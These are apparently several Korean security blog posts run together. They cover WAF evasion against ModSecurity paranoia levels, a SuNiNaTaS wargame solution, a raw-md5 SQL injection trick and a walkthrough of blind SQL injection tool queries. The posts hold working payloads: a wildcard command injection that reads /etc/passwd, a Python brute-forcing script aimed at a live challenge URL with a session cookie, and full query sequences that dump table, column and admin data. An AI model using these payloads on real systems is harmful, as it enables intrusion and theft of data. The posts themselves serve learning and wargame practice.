paranoia level 0은 많은 규칙들이 사용되지 않다는 것을 의미하기 때문에, 우리의 페이로드가 아무런 문제 없이 원격 코드 실행을 한다는 것은 지극히 정상이다. 절대 당황하지 마라 :)


SecAction "id:999,\

phase:1,\

nolog,\

pass,\

t:none,\

setvar:tx.paranoia_level=0"


PL0인 ModSecurity는 RCE를 허용한다. (당황하지마라, 괜찮다)


ModSecurity에서 paranoia level 0는 "사실상 거짓 긍정이 없는 고품질의 나무랄 데 없는 규칙"을 의미하지만 또한 너무 과하게 관대하다는 것을 의미한다. 당신은 netnea 웹사이트에서 paranoia level별로 그룹화된 규칙 리스트를 찾을 수 있을 겻이다 : https://www.netnea.com/cms/core-rule-set-inventory/


Paranoia Level 1 그리고 2 (PL1, PL2)

나는 그들의 차이점(위의 개요에서 당신이 볼 수 있는)은 우리의 목표에 영향을 주지 않고, 모든 행동들은 아래와 같이 묘사된다는 것이 같기 때문에 level 1과 2를 묶었다.


SecAction "id:999,\

phase:1,\

nolog,\

pass,\

t:none,\

setvar:tx.paranoia_level=1"


PL1(그리고 PL2)의 ModSecurity는 "OS 파일 접근 시도"에 대한 나의 요청을 명백히 막는다 (930120). 그러나 내가 와일드카드로써 물음표를 사용한다면? 그 요청은 나의 웹 방화벽에서 수용된다:


PL1과 PL2는 나의 RCE 공격을 차단하지 않아서 /etc/passwd를 읽을 수 있다.


이것은 "물음표", "슬래시" 그리고 "공백"이 규칙 920271과 920272에서 수용되는 범위의 문자열에 있기 때문에 발생한다.  게다가, 명령어 문법 대신에 "물음표"를 사용하는 것은 보통 차단하는 명령어와 운영체제의 파일(우리의 경우 /etc/passwd)같은 "OS 파일" 필터를 피할 수 있도록 해준다.


Paranoia Level 3 (PL3)

이 paranoia의 수준은 더하다 : 그것은 n번보다 많은 "?" 같은 문자가 포함된 요청을 차단한다. 사실상, 나의 요청은 "메타 문자 변칙 탐지 알림ㅡ반복적인 비단어 문자"로 차단되었다. 이건 멋지다! 잘했어 ModSecurity, 너는 곰인형을 얻었다! 🐻 그러나 불행하게도 나의 웹 앱은 너무 못생기고 취약해서 어쩃든 다음과 같은 문법처럼 더 적은 물음표를 사용해서 passwd 파일을 읽을 수 있다 : c=/?in/cat+/et?/passw?



당신이 볼 수 있는 것처럼, 단지 3번의 "?" 물음표를 사용하는 것으로 나는 이 paranoia level을 피하여 타겟 시스템의 passwd 파일을 읽을 수 있다. 그렇다, 이것은 

당신이 항상 그리고 절대적으로 paranoia level을 4로 설정해야한다는 것을 의미하는 것은 아니다. 나는 현실적인 시나리오를 대표하지 않는 정말 멍청한 PHP 스크립트에서 테스트하고 있다는 것을 명심해라... 그러길 빈다...


이제 삶, 우주 그리고 모든 것에 대한 대답은 42라는 것은 모두가 안다. 그러나 이것에 대해서는 어떤가: "당신은 paranoia level 4에서 OWASP Rule Set을 피할 수 있는가?"


Paranoia Level 4 (PL4)

근본적으로 안된다, 난 할 수 없다. a-z A-Z 0-9 의 범위를 벗어나는 모든 문자열은 차단된다! 방법이 없다... 그리고 당신은 파일을 읽기 위해 명령어를 실행할 때, 90%의 확률로 "공백" 문자 혹은 "슬래시" 문자가 필요할 것이란 걸 믿어라. 😉


더 많은 걸 원하는가?

이 글의 두번째 파트 : https://medium.com/@themiddleblue/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0


마지막 생각들

고정적인 HTML 페이지로 돌아가보자... 그것은 당신의 웹 어플리케이션의 보안을 향상하는 가장 빠른 방법이다! 웹 방화벽의 우회를 방지하기 위한 가장 좋은 설정, 혹은 사용하기 가장 좋은 paranoia level이 무엇인지에 대해 말하는 것은 어렵다. 내 짧은 생각으로, 우리는 웹 어플리케이션에 고르게 분산된 룰 셋을 믿어서는 안된다. 나는 정말 우리의 웹 방화벽 룰을 어플리케이션의 기능성에 맞도록 설정해야한다고 생각한다.


어쩃든, 당신이 당신의 ModSecurity나 그와 비슷한 것에 새로운 SecRule을 작성할 때, 당신의 필터나 정규식을 우회할 방법은 많다는 것을 명심해라. 그러므로 "어떻게 이 룰을 우회할 수 있을까?를 생각하며 작성해라.


나의 북마크로부터

ModSecurity 규칙들에 대해 더 배우자면 : https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual


netnea로 부터 작성된 Apache ModSecurity 튜토리얼 : https://www.netnea.com/cms/apache-tutorials/


SpiderLabs 블로그 : https://www.trustwave.com/Resources/SpiderLabs-Blog/


ModSecurity v3 Github : https://github.com/SpiderLabs/ModSecurity/tree/v3/master


연락

https://twitter.com/Menin_TheMiddle

https://github.com/theMiddleBlue


반응형

'Hacking > Web' 카테고리의 다른 글

S3 bucket 대응방안  (0) 2018.06.04
Web Application Firewall (WAF) Evasion Techniques #2  (0) 2018.06.03
[SuNiNaTaS] 22번 문제  (0) 2018.05.10
sql injection using md5  (0) 2018.05.09
Blind SQL Injection tool 분석  (4) 2018.05.06
블로그 이미지

rootable

,
반응형

처음엔 pw 부분에 했는데 계속 No Hack이 떠서 뭐지? 했다.

그러다 id에 하니까 잘 된다.


그리고 요즘 워게임에서 mysql만 쓰다보니 당연히 mysql 문법으로 진행하는데 뭔가 이상해서 테스트해보니 mssql이였다.


그래서 mssql 문법으로 진행하니 잘 되었다.


mssql의 문자열함수는 아래 블로그를 통해 확인하였다.

http://egloos.zum.com/clearm81/v/198485


아래의 방법으로 길이가 총 10자리인 것을 확인하였다.


아래와 같이 코드를 짰는데 인터넷이 이상해서 계속 끊켜서 못해먹겠다..ㅠㅠ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib
import urllib2
 
result =''
 
for i in range(1,11):
    for j in range(32,128):
        print "Testing " + str(i) + " : " + str(j)
        url="http://suninatas.com/Part_one/web22/web22.asp?id=admin'+and+unicode(substring(pw,"+str(i)+",1))="+str(j)+"--+&pw=guest"
 
        request = urllib2.Request(url)
        request.add_header('Cookie','ASPSESSIONIDASASDRCS=IOKBKGGBNLMKJAGAGCCJHOGL')
 
        response = urllib2.urlopen(request)
 
        if response.read().find("False"!= -1:
            print "[+] "+ str(i) + " : " + chr(j)
            result += chr(j)
            break
cs


수동으로 하여 답을 찾았다.


수동으로는 이런식으로 범위로 하여 찾았다~


와..인터넷을 고쳐야지...ㅠㅠ

반응형

'Hacking > Web' 카테고리의 다른 글

Web Application Firewall (WAF) Evasion Techniques #2  (0) 2018.06.03
Web Application Firewall (WAF) Evasion Techniques  (0) 2018.06.03
sql injection using md5  (0) 2018.05.09
Blind SQL Injection tool 분석  (4) 2018.05.06
Padding Oracle Attack  (0) 2018.05.01
블로그 이미지

rootable

,
반응형

md5("admin") 의 경우에는 왼쪽과 같이 21232f297a57a5a743894a0e4a801fc3으로 출력되지만 

md5("admin",true)와 같이 코딩되어 있을 경우에는 오른쪽과 같이 바이너리 형식으로 반환된다.



옵션으로 준 TRUE값은 raw_output에 대한 TRUE 값으로 바이너리 형식으로 출력하겠따는 의미이다.


참고 ) http://php.net/manual/kr/function.md5.php


따라서 SQL Injection 문제에서 md5 부분에 true로 되어있다면 이 기법을 생각해봐라


129581926211651571912466741651878684928


md5("129581926211651571912466741651878684928",true) 하면 바이너리형태로 아래와 같이 출력된다.


�T0D��o#��'or'8


따라서 만약 select * from test where id='$id' and pw='$pw' 과 같은 쿼리일 때 $pw부분에 위의 결과가 들어가


select * from test where id='$id' and pw='�T0D��o#��' or '8' 가 되어 '8' 부분에 의해 True가되어 결과가 출력된다.



참고 ) http://bbolmin.tistory.com/77



반응형

'Hacking > Web' 카테고리의 다른 글

Web Application Firewall (WAF) Evasion Techniques  (0) 2018.06.03
[SuNiNaTaS] 22번 문제  (0) 2018.05.10
Blind SQL Injection tool 분석  (4) 2018.05.06
Padding Oracle Attack  (0) 2018.05.01
자바스크립트 난독화  (0) 2018.05.01
블로그 이미지

rootable

,
반응형

내가 분석하고 하는 Bind SQL Injection Tool은 많이들 사용하는 [Blind SQL Injection for Pentration Teser v2.0.0 build 603 Beta 1] 이다.

참고 ) http://n3015m.tistory.com



1. 기본적인 툴 사용법

① URL 부분에는 SQL Injection을 진행할 URL을 적어주면 된다.

② DBMS에는 해당 사이트의 DBMS를 선택해주면 된다. (MSSQL, MYSQL, ORACLE)

③ POST인지 아닌지 체크 후 POST라면 POST 탭에 파라미터와 그 값을 넣어주면 된다.

④ Blind SQL Injection을 AND로 진행할지 OR로 진행할지 고르면 된다.

⑤ MATCH 부분은 값이 True일 때 서버의 응답 중 어떤 것으로 판단할지 적어주면 된다.

⑥ Append Text End Of Query는 쿼리 작성 후 마지막에 무엇을 써줄지 적어주면 된다. 나와있듯이 보통 주석처리를 적어준다.


DB,USR,AUTH,VER 부분 중 확인하고자 하는 것을 체크 후 Initialize Injection을 눌러준다. DB는 Default로 체크되어있다. 왜냐하면 추후 TABLE NAME을 확인할 때 사용하여야 하기 때문이다.



2. DB명 확인

 * 공격순서 및 공격쿼리

  1) DB명 길이 확인

- idx=21726+AND+length(database())>1--

- idx=21726+AND+length(database())>2--

- idx=21726+AND+length(database())>4-- (2배씩 증가하다 응답이 false이면 범위를 좁혀 DB명 길이 확인)

...

  2) DB명 한글자씩 확인

- idx=21726+AND+ascii(substring(database(),1,1))>78--

- idx=21726+AND+ascii(substring(database(),1,1))>102-- (위와 동일하게 범위를 좁혀가며 첫번째 글자 확인)

- idx=21726+AND+ascii(substring(database(),2,1))>78-- ( 두번째 글자를 위와 동일한 방식으로 확인.. 이렇게 하여 모든 DB명 확인)



3. TABLE NAME 확인

 - DB명을 뽑아냈다면 TABLE NAME 부분의 CRACK 버튼을 누를 수 있다. 


 * 공격순서 및 공격쿼리

  1) 테이블명 중 가장 길이가 긴 길이 확인

idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+order+by+length(table_name)desc+limit+0,1)>2--

설명) 

 - 0x42415345205441424C45 : BASE TABLE → DB Owner가 생성한 TABLE만 조회하기 위해 사용

 - 0x69705f6c6f675f7461626c65 : ip_log_table (DB명) → 해당 DB의 테이블을 확인하기 위해 사용


  2) 테이블 갯수 확인

idx=21726+AND+(select+count(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65)>2--


  3) 첫번째 테이블명의 길이 확인

idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>5--


  4) 첫번째 테이블명 획득

idx=21726+AND+(select+ascii(substring(table_name,1,1))+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>78--

 - ascii(substring(table_name,1,1)의 첫번째 1을 2,3,4 순서로 길이만큼 올리면 된다.


 5) 반복

  - 테이블명 길이의 마지막 limit의 0이었던 부분을 1,2,3 순서로 올리면 된다.

  - 반복해서 테이블명을 획득


 6) 데이터 갯수 확인

idx=21726+AND+(select+count(*)+from+ip_table)>2--

 - 획득한 Table_Name을 from 뒤에 넣어 각 테이블의 데이터 갯수를 뽑아낸다.



4. COLUMN NAME 확인

 * 공격순서 및 공격쿼리

  1) 각 테이블 중 컬럼명의 가장 긴 길이를 확인

idx=21726+AND+(select+length(column_name)from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+order+by+length(column_name)+desc+limit+0,1)>2--


  2) 각 테이블의 컬럼 갯수 확인

idx=21726+AND+(select+count(*)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65)>2--


  3) 테이블에 해당하는 컬럼명 획득

① 첫번째 컬럼명의 길이 획득

idx=21726+AND+(select+length(column_name)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>1--


② 첫번째 컬럼명 획득

idx=21726+AND+(select+ascii(substring(column_name,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>78--

 - column_name 뒤의 숫자를 획득시켜주면 된다.


  4) 데이터 타입 확인

① data_type의 각 자리의 ascii값 확인

idx=21726+AND+(select+ascii(substring(data_type,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>105--


② 얻은 값을 통해 확인작업

idx=21726+AND+(select+data_type+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)=0x696e74--


  5) 반복

 - 3)과 4)의 limit 뒤의 0을 1,2,3 순서로 증가시키면 된다.



5. DATA 확인

 * 공격순서 및 공격쿼리

  1) 해당 테이블과 컬럼명을 이용하여 각 데이터의 길이 확인

idx=21726+AND+(select+length(id)from+.admin_table+limit+0,1)>2--


  2) 각 데이터 획득

idx=21726+AND+(select+ascii(substring(id,1,1))+from+.admin_table+limit+0,1)>126--


반응형

'Hacking > Web' 카테고리의 다른 글

[SuNiNaTaS] 22번 문제  (0) 2018.05.10
sql injection using md5  (0) 2018.05.09
Padding Oracle Attack  (0) 2018.05.01
자바스크립트 난독화  (0) 2018.05.01
보안진단 크롬 플러그인  (0) 2018.04.17
블로그 이미지

rootable

,